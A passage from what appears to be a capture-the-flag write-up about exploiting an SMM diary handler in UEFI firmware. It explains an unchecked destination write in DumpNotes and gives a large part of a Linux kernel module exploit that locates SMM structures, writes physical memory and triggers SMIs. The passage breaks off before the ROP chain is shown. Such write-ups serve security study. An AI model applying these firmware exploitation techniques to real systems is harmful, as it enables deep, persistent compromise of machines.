            <span class="n">TransferNote</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">CommData</span><span class="o">-&gt;</span><span class="n">Data</span><span class="p">.</span><span class="n">Note</span><span class="p">),</span> <span class="n">CommData</span><span class="o">-&gt;</span><span class="n">Idx</span><span class="p">,</span> <span class="n">TRUE</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">GET_NOTE</span><span class="p">:</span>
            <span class="n">TransferNote</span><span class="p">(</span><span class="o">&amp;</span><span class="p">(</span><span class="n">CommData</span><span class="o">-&gt;</span><span class="n">Data</span><span class="p">.</span><span class="n">Note</span><span class="p">),</span> <span class="n">CommData</span><span class="o">-&gt;</span><span class="n">Idx</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">DUMP_NOTES</span><span class="p">:</span>
            <span class="n">DumpNotes</span><span class="p">(</span><span class="n">CommData</span><span class="o">-&gt;</span><span class="n">Data</span><span class="p">.</span><span class="n">Dest</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="nl">default:</span>
            <span class="n">DEBUG</span><span class="p">((</span><span class="n">DEBUG_INFO</span><span class="p">,</span> <span class="s">"Invalid cmd passed to %a, got 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">__FUNCTION__</span><span class="p">,</span> <span class="n">CommData</span><span class="o">-&gt;</span><span class="n">Cmd</span><span class="p">));</span>
            <span class="k">goto</span> <span class="n">Failure</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="n">EFI_SUCCESS</span><span class="p">;</span>

    <span class="nl">Failure:</span>
    <span class="o">*</span><span class="n">CommBufferSize</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">EFI_SUCCESS</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>When a <code class="language-plaintext highlighter-rouge">SMI</code> occurs, the correct <code class="language-plaintext highlighter-rouge">SMI handler</code> to be invoked is identified by a GUID. This GUID is defined when the handler is initially registered:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">Status</span> <span class="o">=</span> <span class="n">gSmst</span><span class="o">-&gt;</span><span class="n">SmiHandlerRegister</span> <span class="p">(</span>
                <span class="n">CorctfSmmHandler</span><span class="p">,</span>
                <span class="o">&amp;</span><span class="n">gEfiSmmCorctfProtocolGuid</span><span class="p">,</span>
                <span class="o">&amp;</span><span class="n">DispatchHandle</span>
                <span class="p">);</span>
</code></pre></div></div>

<p>To pass data to the diary application we need to write data to a Communication Buffer (<code class="language-plaintext highlighter-rouge">ComBuffer</code>) and then trigger a <code class="language-plaintext highlighter-rouge">SMI</code>. The <code class="language-plaintext highlighter-rouge">ComBuffer</code> is a buffer which is accessible by non-SMM and SMM code and therefore allows communication with the SMM code.</p>

<h3 id="how-the-fuck-do-we-talk-to-this">How the fuck do we talk to this?</h3>
<p>The by far biggest part of the challenge was to figure out how to actually communicate with the diary application. We couldn’t find any resources on how to specify or find the address of the <code class="language-plaintext highlighter-rouge">ComBuffer</code> and all exploits we found online used the <a href="https://github.com/chipsec/chipsec/tree/6cdfd54d6ea3cef558ca761370cdbcf2e9ff906a">CHIPSEC python framework</a> instead of C code.</p>

<p>After banging our heads against the wall for a couple of hours we decided to check how the <code class="language-plaintext highlighter-rouge">CHIPSEC</code> framework actually communicates with with the system firmware. We found the <a href="https://github.com/chipsec/chipsec/blob/8bde1bd648250ed8f71229b8feb477349e4c2d55/chipsec/hal/interrupts.py#L161">send_smmc_SMI</a> function which does exactly what we are looking for: write data to the <code class="language-plaintext highlighter-rouge">ComBuffer</code> and then trigger a <code class="language-plaintext highlighter-rouge">SMI</code>. This function specifies the address of the <code class="language-plaintext highlighter-rouge">ComBuffer</code> and its size by writing to the <a href="https://github.com/tianocore/edk2/blob/fa789cc68a85a5781c18c64b9112c779750b2125/MdeModulePkg/Core/PiSmmCore/PiSmmCorePrivateData.h#L117">SMM_CORE_PRIVATE_DATA struct (smmc)</a>. The address of the <code class="language-plaintext highlighter-rouge">smmc</code> struct is found by scanning the EFI code regions for the string “smmc”.</p>

<p>The address of the <code class="language-plaintext highlighter-rouge">ComBuffer</code> can not be arbitrary. After a couple of tries we found out that an address in the <code class="language-plaintext highlighter-rouge">EFI_RUNTIME_SERVICES_DATA</code> region works.</p>

<p>We copied this functionality and implemented it in a kernel module, and sure enough, we were finally able to trigger the functions of the diary application :).</p>

<h3 id="vuln">Vuln</h3>
<p>The vulnerability of this challenge is in the <code class="language-plaintext highlighter-rouge">DumpNotes</code> function. It dumps the whole diary to <code class="language-plaintext highlighter-rouge">CommData-&gt;Data.Dest</code>, an address we provide, without doing any checks. Therefore, we can dump the diary at arbitrary addresses.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VOID</span>
<span class="nf">DumpNotes</span> <span class="p">(</span>
    <span class="n">IN</span> <span class="n">UINT8</span> <span class="o">*</span><span class="n">Dest</span>
    <span class="p">)</span>
<span class="p">{</span>
    <span class="n">CopyMem</span><span class="p">(</span><span class="n">Dest</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">Book</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">Book</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="exploitation">Exploitation</h3>
<p>To exploit this, we simply corrupted the stack and executed a ROP chain. This chain uses the <code class="language-plaintext highlighter-rouge">CopyMem</code> function to copy the flag to the address of the <code class="language-plaintext highlighter-rouge">CommBuffer</code>, which we can read from the kernel module. The chain then gracefully returns control back to the SMM code in order to exit from SMM mode. To ensure a correct return, we adjusted the stack pointer to point to an intact stack frame after running our ROP chain.</p>

<p>The addresses of EFI module code and stack are constant so we didn’t require any leaks and could just hardcode the addresses.</p>

<h3 id="exploit-2">Exploit</h3>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;linux/init.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/module.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/kernel.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/acpi.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/efi.h&gt;</span><span class="cp">
</span>
<span class="n">MODULE_LICENSE</span><span class="p">(</span><span class="s">"GPL"</span><span class="p">);</span>
<span class="n">MODULE_AUTHOR</span><span class="p">(</span><span class="s">"HaxHax"</span><span class="p">);</span>
<span class="n">MODULE_DESCRIPTION</span><span class="p">(</span><span class="s">"A simple Linux module."</span><span class="p">);</span>
<span class="n">MODULE_VERSION</span><span class="p">(</span><span class="s">"0.01"</span><span class="p">);</span>

<span class="cp">#define EFI_CORCTF_SMM_PROTOCOL_GUID \
    { 0xb888a84d, 0x3888, 0x480e, { 0x95, 0x83, 0x81, 0x37, 0x25, 0xfd, 0x39, 0x8b } }
</span>
<span class="cp">#define ADD_NOTE 0x1337
#define GET_NOTE 0x1338
#define DUMP_NOTES 0x31337
</span>
<span class="cp">#define SMBASE 0x7FFAF000
</span>
<span class="k">typedef</span> <span class="k">struct</span>
<span class="p">{</span>
    <span class="kt">uint8_t</span> <span class="n">note</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="p">}</span><span class="n">diary_note</span><span class="p">;</span>

<span class="k">typedef</span> <span class="k">struct</span>
<span class="p">{</span>
    <span class="kt">uint32_t</span> <span class="n">cmd</span><span class="p">;</span>
    <span class="kt">uint32_t</span> <span class="n">idx</span><span class="p">;</span>
    <span class="k">union</span> <span class="n">transfer_data</span>
    <span class="p">{</span>
        <span class="n">diary_note</span> <span class="n">note</span><span class="p">;</span>
        <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">dest</span><span class="p">;</span>
    <span class="p">}</span> <span class="n">data</span><span class="p">;</span>
<span class="p">}</span><span class="n">comm_data_t</span><span class="p">;</span>

<span class="cp">#define CHUNK_SIZE (4096)
</span>
<span class="n">u64</span> <span class="nf">_find_smmc</span><span class="p">(</span><span class="n">u64</span> <span class="n">start</span><span class="p">,</span> <span class="n">u64</span> <span class="n">end</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"_find_smmc, start: %llx, end: %llx </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">);</span>
    <span class="n">u64</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">start</span><span class="p">;</span>
    <span class="kt">void</span> <span class="o">*</span><span class="n">vaddr</span><span class="p">;</span>
    <span class="c1">//char target[] = "smmc";</span>
    <span class="n">u32</span> <span class="n">target</span> <span class="o">=</span> <span class="n">cpu_to_le32</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">u32</span><span class="o">*</span><span class="p">)</span><span class="s">"smmc"</span><span class="p">);</span>
    <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">size</span> <span class="o">=</span> <span class="n">end</span> <span class="o">-</span> <span class="n">start</span><span class="p">;</span>
    <span class="kt">void</span> <span class="o">*</span><span class="n">mapped_start</span><span class="p">;</span>

    <span class="n">mapped_start</span> <span class="o">=</span> <span class="n">ioremap</span><span class="p">(</span><span class="n">start</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">mapped_start</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printk</span><span class="p">(</span><span class="n">KERN_ERR</span> <span class="s">"ioremap failed for address range %llx to %llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">while</span> <span class="p">(</span><span class="n">addr</span> <span class="o">&lt;</span> <span class="n">end</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">vaddr</span> <span class="o">=</span> <span class="n">mapped_start</span> <span class="o">+</span> <span class="p">(</span><span class="n">addr</span> <span class="o">-</span> <span class="n">start</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">u32</span><span class="o">*</span><span class="p">)</span><span class="n">vaddr</span> <span class="o">==</span> <span class="n">target</span><span class="p">)</span> <span class="p">{</span>  <span class="c1">// compare 4-byte chunks as u32</span>
            <span class="n">iounmap</span><span class="p">(</span><span class="n">mapped_start</span><span class="p">);</span>
            <span class="k">return</span> <span class="n">addr</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="n">addr</span> <span class="o">+=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">target</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">iounmap</span><span class="p">(</span><span class="n">mapped_start</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// EFI_RUNTIME_SERVICES_DATA</span>
<span class="n">u64</span> <span class="nf">find_data_reg</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">efi_memory_desc_t</span> <span class="o">*</span><span class="n">md</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">addr</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">size</span><span class="p">,</span> <span class="n">mmio_start</span><span class="p">,</span> <span class="n">mmio_end</span><span class="p">;</span>

    <span class="n">for_each_efi_memory_desc</span><span class="p">(</span><span class="n">md</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">md</span><span class="o">-&gt;</span><span class="n">type</span> <span class="o">==</span> <span class="n">EFI_RUNTIME_SERVICES_DATA</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">size</span> <span class="o">=</span> <span class="n">md</span><span class="o">-&gt;</span><span class="n">num_pages</span> <span class="o">&lt;&lt;</span> <span class="n">EFI_PAGE_SHIFT</span><span class="p">;</span>
            <span class="n">mmio_start</span> <span class="o">=</span> <span class="n">md</span><span class="o">-&gt;</span><span class="n">phys_addr</span><span class="p">;</span>
            <span class="n">mmio_end</span> <span class="o">=</span> <span class="n">mmio_start</span> <span class="o">+</span> <span class="n">size</span><span class="p">;</span>

            <span class="k">return</span> <span class="n">mmio_start</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// EFI_RUNTIME_SERVICES_CODE</span>
<span class="k">static</span> <span class="n">u64</span> <span class="nf">find_smm_core_private_data</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">efi_memory_desc_t</span> <span class="o">*</span><span class="n">md</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">addr</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">size</span><span class="p">,</span> <span class="n">mmio_start</span><span class="p">,</span> <span class="n">mmio_end</span><span class="p">;</span>

    <span class="n">for_each_efi_memory_desc</span><span class="p">(</span><span class="n">md</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">md</span><span class="o">-&gt;</span><span class="n">type</span> <span class="o">==</span> <span class="n">EFI_RUNTIME_SERVICES_CODE</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">size</span> <span class="o">=</span> <span class="n">md</span><span class="o">-&gt;</span><span class="n">num_pages</span> <span class="o">&lt;&lt;</span> <span class="n">EFI_PAGE_SHIFT</span><span class="p">;</span>
            <span class="n">mmio_start</span> <span class="o">=</span> <span class="n">md</span><span class="o">-&gt;</span><span class="n">phys_addr</span><span class="p">;</span>
            <span class="n">mmio_end</span> <span class="o">=</span> <span class="n">mmio_start</span> <span class="o">+</span> <span class="n">size</span><span class="p">;</span>

            <span class="n">addr</span> <span class="o">=</span> <span class="n">_find_smmc</span><span class="p">(</span><span class="n">mmio_start</span><span class="p">,</span> <span class="n">mmio_end</span><span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">addr</span><span class="p">)</span> <span class="p">{</span>
                <span class="k">break</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="n">addr</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">write_phys_mem</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">phys_addr</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">data</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">void</span> <span class="n">__iomem</span> <span class="o">*</span><span class="n">io_addr</span><span class="p">;</span>

    <span class="c1">// Map the physical address to a virtual address</span>
    <span class="n">io_addr</span> <span class="o">=</span> <span class="n">ioremap</span><span class="p">(</span><span class="n">phys_addr</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">io_addr</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">pr_err</span><span class="p">(</span><span class="s">"Failed to remap physical address %lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">phys_addr</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// Write the data</span>
    <span class="n">memcpy_toio</span><span class="p">(</span><span class="n">io_addr</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>

    <span class="c1">// Unmap the address</span>
    <span class="n">iounmap</span><span class="p">(</span><span class="n">io_addr</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">read_phys_mem</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">phys_addr</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">,</span> <span class="k">const</span> <span class="kt">void</span> <span class="o">*</span><span class="n">data</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">void</span> <span class="n">__iomem</span> <span class="o">*</span><span class="n">io_addr</span><span class="p">;</span>

    <span class="c1">// Map the physical address to a virtual address</span>
    <span class="n">io_addr</span> <span class="o">=</span> <span class="n">ioremap</span><span class="p">(</span><span class="n">phys_addr</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">io_addr</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">pr_err</span><span class="p">(</span><span class="s">"Failed to remap physical address %lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">phys_addr</span><span class="p">);</span>
        <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// Write the data</span>
    <span class="n">memcpy_fromio</span><span class="p">(</span><span class="n">data</span><span class="p">,</span><span class="n">io_addr</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>

    <span class="c1">// Unmap the address</span>
    <span class="n">iounmap</span><span class="p">(</span><span class="n">io_addr</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">u64</span> <span class="n">payload_loc</span><span class="p">;</span>
<span class="n">u64</span> <span class="n">smcc</span><span class="p">;</span>
<span class="kt">void</span> <span class="n">__iomem</span><span class="o">*</span> <span class="n">io_addr</span><span class="p">;</span>
<span class="n">efi_guid_t</span> <span class="n">target_guid</span> <span class="o">=</span> <span class="n">EFI_GUID</span><span class="p">(</span><span class="mh">0xb888a84d</span><span class="p">,</span> <span class="mh">0x3888</span><span class="p">,</span> <span class="mh">0x480e</span><span class="p">,</span> <span class="mh">0x95</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x25</span><span class="p">,</span> <span class="mh">0xfd</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">);</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">add_note</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="n">idx</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">data</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">comm_data_t</span> <span class="n">payload</span><span class="p">;</span>
    <span class="n">payload</span><span class="p">.</span><span class="n">cmd</span> <span class="o">=</span> <span class="n">ADD_NOTE</span><span class="p">;</span>
    <span class="n">payload</span><span class="p">.</span><span class="n">idx</span> <span class="o">=</span> <span class="n">idx</span><span class="p">;</span>
    <span class="kt">size_t</span> <span class="n">len</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> <span class="o">+</span> <span class="mi">24</span><span class="p">;</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="n">payload</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">note</span><span class="p">.</span><span class="n">note</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">payload</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">note</span><span class="p">.</span><span class="n">note</span><span class="p">));</span>

    <span class="n">u64</span> <span class="n">combuf_off</span> <span class="o">=</span> <span class="mi">56</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">buffersz_off</span> <span class="o">=</span> <span class="n">combuf_off</span> <span class="o">+</span> <span class="mi">8</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">ret_off</span> <span class="o">=</span> <span class="n">buffersz_off</span> <span class="o">+</span> <span class="mi">8</span><span class="p">;</span>

    <span class="n">write_phys_mem</span><span class="p">(</span><span class="n">smcc</span> <span class="o">+</span> <span class="n">combuf_off</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">payload_loc</span><span class="p">);</span>
    <span class="n">write_phys_mem</span><span class="p">(</span><span class="n">smcc</span> <span class="o">+</span> <span class="n">buffersz_off</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">len</span><span class="p">);</span>

    <span class="n">memcpy_toio</span><span class="p">(</span><span class="n">io_addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">target_guid</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">efi_guid_t</span><span class="p">));</span>
    <span class="n">memcpy_toio</span><span class="p">(</span><span class="n">io_addr</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">efi_guid_t</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">len</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">size_t</span><span class="p">));</span>
    <span class="n">memcpy_toio</span><span class="p">(</span><span class="n">io_addr</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">efi_guid_t</span><span class="p">)</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">size_t</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">payload</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">comm_data_t</span><span class="p">));</span>

    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"Triggering OUT SMI for idx: %d </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">idx</span><span class="p">);</span>

    <span class="n">outb</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="mh">0xb2</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">dump_notes</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="n">dest</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">comm_data_t</span> <span class="n">payload</span><span class="p">;</span>
    <span class="n">payload</span><span class="p">.</span><span class="n">cmd</span> <span class="o">=</span> <span class="n">DUMP_NOTES</span><span class="p">;</span>
    <span class="n">payload</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">dest</span> <span class="o">=</span> <span class="n">dest</span><span class="p">;</span>
    <span class="kt">size_t</span> <span class="n">len</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> <span class="o">+</span> <span class="mi">24</span><span class="p">;</span>

    <span class="n">u64</span> <span class="n">combuf_off</span> <span class="o">=</span> <span class="mi">56</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">buffersz_off</span> <span class="o">=</span> <span class="n">combuf_off</span> <span class="o">+</span> <span class="mi">8</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">ret_off</span> <span class="o">=</span> <span class="n">buffersz_off</span> <span class="o">+</span> <span class="mi">8</span><span class="p">;</span>

    <span class="n">write_phys_mem</span><span class="p">(</span><span class="n">smcc</span> <span class="o">+</span> <span class="n">combuf_off</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">payload_loc</span><span class="p">);</span>
    <span class="n">write_phys_mem</span><span class="p">(</span><span class="n">smcc</span> <span class="o">+</span> <span class="n">buffersz_off</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">len</span><span class="p">);</span>

    <span class="n">memcpy_toio</span><span class="p">(</span><span class="n">io_addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">target_guid</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">efi_guid_t</span><span class="p">));</span>
    <span class="n">memcpy_toio</span><span class="p">(</span><span class="n">io_addr</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">efi_guid_t</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">len</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">size_t</span><span class="p">));</span>
    <span class="n">memcpy_toio</span><span class="p">(</span><span class="n">io_addr</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">efi_guid_t</span><span class="p">)</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">size_t</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">payload</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">comm_data_t</span><span class="p">));</span>

    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"Triggering dump SMI </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

    <span class="n">outb</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="mh">0xb2</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">get_note</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="n">idx</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">data</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">comm_data_t</span> <span class="n">payload</span><span class="p">;</span>
    <span class="n">payload</span><span class="p">.</span><span class="n">cmd</span> <span class="o">=</span> <span class="n">GET_NOTE</span><span class="p">;</span>
    <span class="n">payload</span><span class="p">.</span><span class="n">idx</span> <span class="o">=</span> <span class="n">idx</span><span class="p">;</span>
    <span class="kt">size_t</span> <span class="n">len</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> <span class="o">+</span> <span class="mi">24</span><span class="p">;</span>

    <span class="n">u64</span> <span class="n">combuf_off</span> <span class="o">=</span> <span class="mi">56</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">buffersz_off</span> <span class="o">=</span> <span class="n">combuf_off</span> <span class="o">+</span> <span class="mi">8</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">ret_off</span> <span class="o">=</span> <span class="n">buffersz_off</span> <span class="o">+</span> <span class="mi">8</span><span class="p">;</span>

    <span class="n">write_phys_mem</span><span class="p">(</span><span class="n">smcc</span> <span class="o">+</span> <span class="n">combuf_off</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">payload_loc</span><span class="p">);</span>
    <span class="n">write_phys_mem</span><span class="p">(</span><span class="n">smcc</span> <span class="o">+</span> <span class="n">buffersz_off</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">len</span><span class="p">);</span>

    <span class="n">memcpy_toio</span><span class="p">(</span><span class="n">io_addr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">target_guid</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">efi_guid_t</span><span class="p">));</span>
    <span class="n">memcpy_toio</span><span class="p">(</span><span class="n">io_addr</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">efi_guid_t</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">len</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">size_t</span><span class="p">));</span>
    <span class="n">memcpy_toio</span><span class="p">(</span><span class="n">io_addr</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">efi_guid_t</span><span class="p">)</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">size_t</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">payload</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">comm_data_t</span><span class="p">));</span>

    <span class="n">printk</span><span class="p">(</span><span class="n">KERN_INFO</span> <span class="s">"Triggering IN SMI </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

    <span class="n">outb</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="mh">0xb2</span><span class="p">);</span>

    <span class="n">comm_data_t</span> <span class="n">out</span><span class="p">;</span>

    <span class="n">memcpy_fromio</span><span class="p">(</span><span class="o">&amp;</span><span class="n">out</span><span class="p">,</span> <span class="n">io_addr</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">efi_guid_t</span><span class="p">)</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">size_t</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">comm_data_t</span><span class="p">));</span>

    <span class="n">memcpy</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">out</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">note</span><span class="p">.</span><span class="n">note</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">out</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">note</span><span class="p">.</span><span class="n">note</span><span class="p">));</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">void</span> <span class="nf">dump_buf</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">sz</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">uint64_t</span><span class="o">*</span> <span class="n">p_buf</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)</span><span class="n">buf</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
